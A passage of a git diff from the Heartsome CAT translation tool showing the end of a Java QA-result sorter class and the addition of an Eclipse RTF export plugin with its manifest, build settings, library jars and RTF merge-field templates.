sortType; + + private QASorter(int sortType) { + this.sortType = sortType; + } + + @Override + public int compare(Viewer viewer, Object e1, Object e2) { + QAResultBean bean1 = (QAResultBean) e1; + QAResultBean bean2 = (QAResultBean) e2; + switch (sortType) { + case tipLevel_ID: { + int lineNumber1 = bean1.getTipLevel(); + int lineNumber2 = bean2.getTipLevel(); + return lineNumber1 > lineNumber2 ? 1 : -1; + } + case -tipLevel_ID: { + int lineNumber1 = bean1.getTipLevel(); + int lineNumber2 = bean2.getTipLevel(); + return lineNumber1 > lineNumber2 ? -1 : 1; + } + case lineNumber_ID: { + int lineNumber1 = Integer.parseInt(bean1.getLineNumber()); + int lineNumber2 = Integer.parseInt(bean2.getLineNumber()); + return lineNumber1 > lineNumber2 ? 1 : -1; + } + case -lineNumber_ID: { + int lineNumber1 = Integer.parseInt(bean1.getLineNumber()); + int lineNumber2 = Integer.parseInt(bean2.getLineNumber()); + return lineNumber1 > lineNumber2 ? -1 : 1; + } + + case qaType_ID: { + String qaType1 = bean1.getQaType(); + String qaType2 = bean2.getQaType(); + return qaType1.compareToIgnoreCase(qaType2); + } + case -qaType_ID: { + String qaType1 = bean1.getQaType(); + String qaType2 = bean2.getQaType(); + return qaType2.compareToIgnoreCase(qaType1); + } + + case resource_ID: { + String resource1 = bean1.getResource(); + String resource2 = bean2.getResource(); + return resource1.compareToIgnoreCase(resource2); + } + case -resource_ID: { + String resource1 = bean1.getResource(); + String resource2 = bean2.getResource(); + return resource2.compareToIgnoreCase(resource1); + } + + case langPair_ID: { + String langPair1 = bean1.getLangPair(); + String langPair2 = bean2.getLangPair(); + return langPair1.compareToIgnoreCase(langPair2); + } + case -langPair_ID: { + String langPair1 = bean1.getLangPair(); + String langPair2 = bean2.getLangPair(); + return langPair2.compareToIgnoreCase(langPair1); + } + } + return 0; + } + } + + /** + * æ¸…é™¤ç»“æžœæ˜¾ç¤ºè§†å›¾çš„åˆ—è¡¨ä¸­çš„æ•°æ® + */ + public void clearTableData() { + inputData.clear(); + table.removeAll(); + } + + +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/.classpath b/ts/net.heartsome.cat.ts.ui.rtf/.classpath new file mode 100644 index 0000000..0382158 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/.classpath @@ -0,0 +1,19 @@ + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.rtf/.gitignore b/ts/net.heartsome.cat.ts.ui.rtf/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/ts/net.heartsome.cat.ts.ui.rtf/.project b/ts/net.heartsome.cat.ts.ui.rtf/.project new file mode 100644 index 0000000..c3ab990 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.rtf + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.rtf/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.rtf/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..3678775 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Feb 10 17:50:16 CST 2012 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.rtf/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.rtf/META-INF/MANIFEST.MF new file mode 100644 index 0000000..db262f1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/META-INF/MANIFEST.MF @@ -0,0 +1,41 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI RTF +Bundle-SymbolicName: net.heartsome.cat.ts.ui.rtf;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130326 +Bundle-Activator: net.heartsome.cat.ts.ui.rtf.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0", + org.eclipse.core.filesystem;bundle-version="1.3.100", + net.heartsome.cat.ts.ui;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.library3;bundle-version="1.0.0", + net.heartsome.cat.ts.ui.xliffeditor.nattable;bundle-version="1.0.0", + org.eclipse.nebula.widgets.tablecombo;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.ts.util, + org.eclipse.jface.text, + org.slf4j +Bundle-ClassPath: ., + lib/rtftemplate-1.0.1-b14.jar, + lib/rtftemplate-usecases-1.0.1-b14.jar, + lib/commons-beanutils.jar, + lib/commons-collections.jar, + lib/commons-digester-1.7.jar, + lib/commons-io-1.1.jar, + lib/commons-logging.jar, + lib/freemarker.jar, + lib/logkit-1.0.1.jar, + lib/oro.jar, + lib/spring-core.jar, + lib/spring.jar, + lib/velocity-dep-1.5.jar +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.rtf/build.properties b/ts/net.heartsome.cat.ts.ui.rtf/build.properties new file mode 100644 index 0000000..b5c6076 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/build.properties @@ -0,0 +1,24 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + models/,\ + lib/rtftemplate-1.0.1-b14.jar,\ + lib/commons-beanutils.jar,\ + lib/commons-collections.jar,\ + lib/commons-digester-1.7.jar,\ + lib/commons-io-1.1.jar,\ + lib/commons-logging.jar,\ + lib/freemarker.jar,\ + lib/logkit-1.0.1.jar,\ + lib/oro.jar,\ + lib/spring-core.jar,\ + lib/spring.jar,\ + lib/velocity-dep-1.5.jar,\ + icons/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties +source.. = src/ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/icons/export_info.png b/ts/net.heartsome.cat.ts.ui.rtf/icons/export_info.png new file mode 100644 index 0000000..d6a45e1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/icons/export_info.png differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-convert.png b/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-convert.png new file mode 100644 index 0000000..a5b8b84 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-convert.png differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-export.png b/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-export.png new file mode 100644 index 0000000..cb6b7d1 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-export.png differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-import.png b/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-import.png new file mode 100644 index 0000000..794c7e2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/icons/rtf-import.png differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-beanutils.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-beanutils.jar new file mode 100644 index 0000000..b1b89c9 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-beanutils.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-collections.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-collections.jar new file mode 100644 index 0000000..0b490e0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-collections.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-digester-1.7.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-digester-1.7.jar new file mode 100644 index 0000000..1783dbe Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-digester-1.7.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-io-1.1.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-io-1.1.jar new file mode 100644 index 0000000..624fc1a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-io-1.1.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-logging.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-logging.jar new file mode 100644 index 0000000..b73a80f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/commons-logging.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/freemarker.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/freemarker.jar new file mode 100644 index 0000000..406e036 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/freemarker.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/logkit-1.0.1.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/logkit-1.0.1.jar new file mode 100644 index 0000000..d3250ee Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/logkit-1.0.1.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/oro.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/oro.jar new file mode 100644 index 0000000..3d5864c Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/oro.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/rtftemplate-1.0.1-b14.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/rtftemplate-1.0.1-b14.jar new file mode 100644 index 0000000..fa73f51 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/rtftemplate-1.0.1-b14.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/spring-core.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/spring-core.jar new file mode 100644 index 0000000..fdc5d0b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/spring-core.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/spring.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/spring.jar new file mode 100644 index 0000000..477af64 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/spring.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/lib/velocity-dep-1.5.jar b/ts/net.heartsome.cat.ts.ui.rtf/lib/velocity-dep-1.5.jar new file mode 100644 index 0000000..be52b9a Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/lib/velocity-dep-1.5.jar differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/RTFTemplate.dot b/ts/net.heartsome.cat.ts.ui.rtf/models/RTFTemplate.dot new file mode 100644 index 0000000..fddf861 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.rtf/models/RTFTemplate.dot differ diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/default_model.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/default_model.rtf new file mode 100644 index 0000000..a29e9aa --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/default_model.rtf @@ -0,0 +1,54 @@ +{\rtf1\ansi\ansicpg936\uc2\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052{\fonttbl{\f0\froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f49\fswiss\fcharset134\fprq2{\*\panose 020b0604030504040204}Tahoma;}{\f53\fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@\'cb\'ce\'cc\'e5;} +{\f200\froman\fcharset238\fprq2 Times New Roman CE;}{\f201\froman\fcharset204\fprq2 Times New Roman Cyr;}{\f203\froman\fcharset161\fprq2 Times New Roman Greek;}{\f204\froman\fcharset162\fprq2 Times New Roman Tur;} +{\f205\froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f206\froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f207\froman\fcharset186\fprq2 Times New Roman Baltic;}{\f208\froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f332\fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f690\fswiss\fcharset238\fprq2 Tahoma CE;}{\f691\fswiss\fcharset204\fprq2 Tahoma Cyr;}{\f693\fswiss\fcharset161\fprq2 Tahoma Greek;}{\f694\fswiss\fcharset162\fprq2 Tahoma Tur;} +{\f695\fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f696\fswiss\fcharset178\fprq2 Tahoma (Arabic);}{\f697\fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f698\fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f699\fswiss\fcharset222\fprq2 Tahoma (Thai);} +{\f732\fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255; +\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red250\green191\blue143;}{\stylesheet{ +\qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql \li0\ri0\widctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \snext11 \ssemihidden Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 +\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \qj \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 +\fs20\lang1024\langfe1024\loch\f0\hich\af0\dbch\af13\cgrid\langnp1024\langfenp1024 \sbasedon11 \snext15 \styrsid7231073 Table Grid;}}{\*\latentstyles\lsdstimax156\lsdlockeddef0}{\*\rsidtbl \rsid608150\rsid2698375\rsid3934581\rsid3936425\rsid4081155 +\rsid4416445\rsid5771882\rsid6312964\rsid7231073\rsid7690906\rsid8342235\rsid9201643\rsid9456007\rsid9526854\rsid11087189\rsid11414715\rsid11560315\rsid11746903\rsid12479908\rsid12613898\rsid13008020\rsid13137282\rsid14424044\rsid16723424}{\*\generator Mi +crosoft Word 11.0.5604;}{\info{\author a}{\operator a}{\creatim\yr2012\mo2\dy20\hr18\min42}{\revtim\yr2012\mo2\dy29\hr14\min34}{\version16}{\edmins20}{\nofpages1}{\nofwords48}{\nofchars275}{\*\company a}{\nofcharsws322}{\vern24689}} +\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0 \deftab420\ftnbj\aenddoc\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180\dgvspace156\dghorigin1800\dgvorigin1440\dghshow0\dgvshow2\jcompress\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0\sectd \linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj +{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang +{\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (} +{\pntxta \dbch )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}\trowd \irow0\irowband0\ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw17 \cellx1133\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth3420\clcbpatraw17 \cellx4456 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth4094\clcbpatraw17 \cellx8414\pard\plain +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst { +\b\f49\fs18\insrsid8342235\charrsid9201643 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt {\b\f49\fs18\lang1024\langfe1024\noproof\insrsid8342235\charrsid9201643 \hich\af49\dbch\af13\loch\f49 $header_id}}}{ +\b\f49\fs18\insrsid7231073\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\b\f49\fs18\insrsid8342235\charrsid9201643 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $header_source \\* MERGEFORMAT }}{\fldrslt { +\b\f49\fs18\lang1024\langfe1024\noproof\insrsid8342235\charrsid9201643 \hich\af49\dbch\af13\loch\f49 $header_source}}}{\b\f49\fs18\insrsid7231073\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\b\f49\fs18\insrsid8342235\charrsid9201643 +\hich\af49\dbch\af13\loch\f49 MERGEFIELD $header_target \\* MERGEFORMAT }}{\fldrslt {\b\f49\fs18\lang1024\langfe1024\noproof\insrsid8342235\charrsid9201643 \hich\af49\dbch\af13\loch\f49 $header_target}}}{\b\f49\fs18\insrsid7231073\charrsid9201643 \cell +}\pard\plain \ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f49\fs18\insrsid7231073\charrsid9201643 \trowd \irow0\irowband0 +\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw17 \cellx1133\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth3420\clcbpatraw17 \cellx4456 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat17\cltxlrtb\clftsWidth3\clwWidth4094\clcbpatraw17 \cellx8414\row }\trowd \irow1\irowband1\lastrow \ts15\trgaph108\trleft-108\trbrdrt +\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid3936425\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx1133\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3420\clshdrawnil \cellx4456 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth4094\clshdrawnil \cellx8414\pard\plain +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst { +\f49\fs18\insrsid7231073\charrsid9201643 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $es.Id \\* MER\hich\af49\dbch\af13\loch\f49 GEFORMAT }}{\fldrslt {\f49\fs18\lang1024\langfe1024\noproof\insrsid7231073\charrsid9201643 \hich\af49\dbch\af13\loch\f49 $es.Id} +}}{\f49\fs18\insrsid7231073\charrsid9201643 \cell }\pard \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\f49\fs18\insrsid7231073\charrsid9201643 \hich\af49\dbch\af13\loch\f49 + MERGEFIELD $es.Source \\* MERGEFORMAT }}{\fldrslt {\f49\fs18\lang1024\langfe1024\noproof\insrsid7231073\charrsid9201643 \hich\af49\dbch\af13\loch\f49 $es.Source}}}{\f49\fs18\insrsid7231073\charrsid9201643 \cell }\pard +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 {\field\fldedit{\*\fldinst {\f49\fs18\insrsid7231073\charrsid9201643 \hich\af49\dbch\af13\loch\f49 MERGEFIELD $es.Target \\* MERGEFORMAT }}{\fldrslt { +\f49\fs18\lang1024\langfe1024\noproof\insrsid7231073\charrsid9201643 \hich\af49\dbch\af13\loch\f49 $es.Target}}}{\f49\fs18\insrsid7231073\charrsid9201643 \cell }\pard\plain \ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f49\fs18\insrsid7231073\charrsid9201643 \trowd \irow1\irowband1\lastrow \ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb +\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid3936425\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb +\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx1133\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth3420\clshdrawnil \cellx4456 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth4094\clshdrawnil \cellx8414\row }\pard +\ql \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid3936425 {\insrsid608150 +\par }} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment.rtf new file mode 100644 index 0000000..2fca810 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment.rtf @@ -0,0 +1,57 @@ +{\rtf1\ansi\ansicpg936\uc2\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052{\fonttbl{\f0\froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f49\fswiss\fcharset134\fprq2{\*\panose 020b0604030504040204}Tahoma;}{\f53\fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@\'cb\'ce\'cc\'e5;} +{\f200\froman\fcharset238\fprq2 Times New Roman CE;}{\f201\froman\fcharset204\fprq2 Times New Roman Cyr;}{\f203\froman\fcharset161\fprq2 Times New Roman Greek;}{\f204\froman\fcharset162\fprq2 Times New Roman Tur;} +{\f205\froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f206\froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f207\froman\fcharset186\fprq2 Times New Roman Baltic;}{\f208\froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f332\fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f690\fswiss\fcharset238\fprq2 Tahoma CE;}{\f691\fswiss\fcharset204\fprq2 Tahoma Cyr;}{\f693\fswiss\fcharset161\fprq2 Tahoma 